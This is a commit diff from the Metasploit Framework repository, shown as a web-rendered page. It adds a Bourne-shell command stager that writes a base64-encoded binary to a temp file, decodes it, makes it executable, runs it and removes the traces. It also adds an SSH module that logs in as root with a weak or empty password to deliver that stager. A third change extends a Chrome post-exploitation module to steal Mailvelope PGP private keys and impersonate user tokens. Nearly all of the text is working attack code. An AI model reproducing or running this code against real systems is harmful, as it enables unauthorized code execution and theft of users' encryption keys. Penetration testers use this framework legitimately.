Merge branch 'master' of https://github.com/rapid7/metasploit-framework
commit
cb24d3ddae
|
@ -0,0 +1,21 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface for staging cmd to arbitrary payloads
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStagerBourne
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerBourne.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -24,6 +24,7 @@ require 'msf/core/exploit/cmdstager_vbs_adodb'
|
|||
require 'msf/core/exploit/cmdstager_debug_write'
|
||||
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
# $Id$
|
||||
|
||||
require 'rex/exploitation/cmdstager/base'
|
||||
require 'rex/exploitation/cmdstager/vbs'
|
||||
require 'rex/exploitation/cmdstager/debug_write'
|
||||
require 'rex/exploitation/cmdstager/debug_asm'
|
||||
require 'rex/exploitation/cmdstager/tftp'
|
||||
require 'rex/exploitation/cmdstager/bourne'
|
||||
|
|
|
@ -0,0 +1,105 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerBourne < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||
@var_decoded = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
|
||||
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override just to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo -n "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Simple base64...
|
||||
#
|
||||
def encode_payload(opts)
|
||||
Rex::Text.encode_base64(@exe)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the commands that will decode the file we just created
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
decoders = [
|
||||
"base64 --decode -",
|
||||
"openssl enc -d -A -base64 -in /dev/stdin",
|
||||
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
|
||||
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
|
||||
]
|
||||
decoder_cmd = []
|
||||
decoders.each do |cmd|
|
||||
binary = cmd.split(' ')[0]
|
||||
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
|
||||
end
|
||||
decoder_cmd = decoder_cmd.join(" || ")
|
||||
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64"
|
||||
[ decoder_cmd ]
|
||||
end
|
||||
|
||||
def compress_commands(cmds, opts)
|
||||
# Make it all happen
|
||||
cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
|
||||
cmds << "#{@tempdir}#{@var_decoded}.bin"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
|
||||
cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerBourne
|
||||
|
||||
attr_accessor :ssh_socket
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SSH User Code Execution',
|
||||
'Description' => %q{
|
||||
This module utilizes a stager to upload a base64 encoded
|
||||
binary which is then decoded, chmod'ed and executed from
|
||||
the command shell.
|
||||
},
|
||||
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependFork' => 'true',
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'BadChars' => "",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => [ 'osx', 'linux' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
},
|
||||
],
|
||||
[ 'Linux x64',
|
||||
{
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Platform' => 'linux'
|
||||
},
|
||||
],
|
||||
[ 'OSX x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'osx'
|
||||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
# For the CVE
|
||||
'DisclosureDate' => 'Jan 01 1999'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
|
||||
OptString.new('RHOST', [ true, "The target address" ]),
|
||||
Opt::RPORT(22)
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
begin
|
||||
Timeout.timeout(3) do
|
||||
self.ssh_socket.exec!("#{cmd}\n")
|
||||
end
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
def do_login(ip, user, pass, port)
|
||||
opt_hash = {
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:disable_agent => true,
|
||||
:password => pass
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
fail_with(Exploit::Failure::NoAccess, 'Failed authentication')
|
||||
rescue Net::SSH::Exception => e
|
||||
fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
||||
end
|
||||
|
||||
if not self.ssh_socket
|
||||
fail_with(Exploit::Failure::Unknown)
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
def exploit
|
||||
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
|
||||
|
||||
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
|
||||
execute_cmdstager({:linemax => 500})
|
||||
end
|
||||
end
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Post
|
|||
[
|
||||
'Sven Taute', #Original (Meterpreter script)
|
||||
'sinn3r', #Metasploit post module
|
||||
'Kx499' #x64 support
|
||||
'Kx499', #x64 support
|
||||
'mubix' #Parse extensions
|
||||
]
|
||||
))
|
||||
|
||||
|
@ -39,6 +40,68 @@ class Metasploit3 < Msf::Post
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def extension_mailvelope_parse_key(data)
|
||||
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
|
||||
end
|
||||
|
||||
def extension_mailvelope_store_key(name, value)
|
||||
return unless name =~ /(private|public)keys/i
|
||||
|
||||
priv_or_pub = $1
|
||||
|
||||
keys = value.split(",")
|
||||
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
|
||||
keys.each do |key|
|
||||
key_data = extension_mailvelope_parse_key(key)
|
||||
vprint_good(key_data)
|
||||
path = store_loot(
|
||||
"chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
|
||||
print_status("==> Saving #{priv_or_pub} key to: #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
def extension_mailvelope(username, extname)
|
||||
chrome_path = @profiles_path + "\\" + username + @data_path
|
||||
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
|
||||
if file_exist?(maildb_path) == false
|
||||
print_error("==> Mailvelope database not found")
|
||||
return
|
||||
end
|
||||
print_status("==> Downloading Mailvelope database...")
|
||||
local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
|
||||
session.fs.file.download_file(local_path, maildb_path)
|
||||
print_status("==> Downloaded to #{local_path}")
|
||||
|
||||
maildb = SQLite3::Database.new(local_path)
|
||||
columns, *rows = maildb.execute2("select * from ItemTable;")
|
||||
maildb.close
|
||||
|
||||
rows.each do |name, value|
|
||||
extension_mailvelope_store_key(name, value)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def parse_prefs(username, filepath)
|
||||
f = File.open(filepath, 'rb')
|
||||
until f.eof
|
||||
prefs = f.read
|
||||
end
|
||||
results = ActiveSupport::JSON.decode(prefs)
|
||||
print_status("Extensions installed: ")
|
||||
results['extensions']['settings'].each do |name,values|
|
||||
if values['manifest']
|
||||
print_status("=> #{values['manifest']['name']}")
|
||||
if values['manifest']['name'] =~ /mailvelope/i
|
||||
print_good("==> Found Mailvelope extension, extracting PGP keys")
|
||||
extension_mailvelope(username, name)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def decrypt_data(data)
|
||||
rg = session.railgun
|
||||
pid = session.sys.process.open.pid
|
||||
|
@ -77,6 +140,10 @@ class Metasploit3 < Msf::Post
|
|||
)
|
||||
|
||||
@chrome_files.each do |item|
|
||||
if item[:in_file] == "Preferences"
|
||||
parse_prefs(username, item[:raw_file])
|
||||
end
|
||||
|
||||
next if item[:sql] == nil
|
||||
next if item[:raw_file] == nil
|
||||
|
||||
|
@ -122,9 +189,7 @@ class Metasploit3 < Msf::Post
|
|||
remote_path = chrome_path + '\\' + f
|
||||
|
||||
#Verify the path before downloading the file
|
||||
begin
|
||||
x = session.fs.file.stat(remote_path)
|
||||
rescue
|
||||
if file_exist?(remote_path) == false
|
||||
print_error("#{f} not found")
|
||||
next
|
||||
end
|
||||
|
@ -152,17 +217,12 @@ class Metasploit3 < Msf::Post
|
|||
current_pid = session.sys.process.open.pid
|
||||
target_pid = session.sys.process["explorer.exe"]
|
||||
return if target_pid == current_pid
|
||||
|
||||
if not session.incognito
|
||||
session.core.use("incognito")
|
||||
|
||||
if not session.incognito
|
||||
print_error("Unable to load incognito")
|
||||
return false
|
||||
end
|
||||
if target_pid.to_s.empty?
|
||||
print_warning("No explorer.exe process to impersonate.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Impersonating token: #{target_pid.to_s}")
|
||||
print_status("Impersonating token: #{target_pid}")
|
||||
begin
|
||||
session.sys.config.steal_token(target_pid)
|
||||
return true
|
||||
|
@ -217,7 +277,6 @@ class Metasploit3 < Msf::Post
|
|||
]
|
||||
|
||||
@old_pid = nil
|
||||
@host_info = session.sys.config.sysinfo
|
||||
migrate_success = false
|
||||
|
||||
# If we can impersonate a token, we use that first.
|
||||
|
@ -230,37 +289,39 @@ class Metasploit3 < Msf::Post
|
|||
host = session.session_host
|
||||
|
||||
#Get Google Chrome user data path
|
||||
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
|
||||
os = @host_info['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
@profiles_path = sysdrive + "\\Users\\"
|
||||
sysdrive = expand_path("%SYSTEMDRIVE%").strip
|
||||
if directory?("#{sysdrive}\\Users")
|
||||
@profiles_path = "#{sysdrive}/Users"
|
||||
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
@profiles_path = sysdrive + "\\Documents and Settings\\"
|
||||
elsif directory?("#{sysdrive}\\Documents and Settings")
|
||||
@profiles_path = "#{sysdrive}/Documents and Settings"
|
||||
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
||||
end
|
||||
|
||||
#Get user(s)
|
||||
usernames = []
|
||||
uid = session.sys.config.getuid
|
||||
if is_system?
|
||||
print_status("Running as SYSTEM, extracting user list...")
|
||||
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
|
||||
print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
|
||||
session.fs.dir.foreach(@profiles_path) do |u|
|
||||
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
not_actually_users = [
|
||||
".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
|
||||
"LocalService", "NetworkService"
|
||||
]
|
||||
usernames << u unless not_actually_users.include?(u)
|
||||
end
|
||||
print_status "Users found: #{usernames.join(", ")}"
|
||||
else
|
||||
uid = session.sys.config.getuid
|
||||
print_status "Running as user '#{uid}'..."
|
||||
usernames << session.fs.file.expand_path("%USERNAME%")
|
||||
usernames << expand_path("%USERNAME%").strip
|
||||
end
|
||||
|
||||
|
||||
has_sqlite3 = true
|
||||
begin
|
||||
require 'sqlite3'
|
||||
rescue LoadError
|
||||
print_error("SQLite3 is not available, and we are not able to parse the database.")
|
||||
print_warning("SQLite3 is not available, and we are not able to parse the database.")
|
||||
has_sqlite3 = false
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue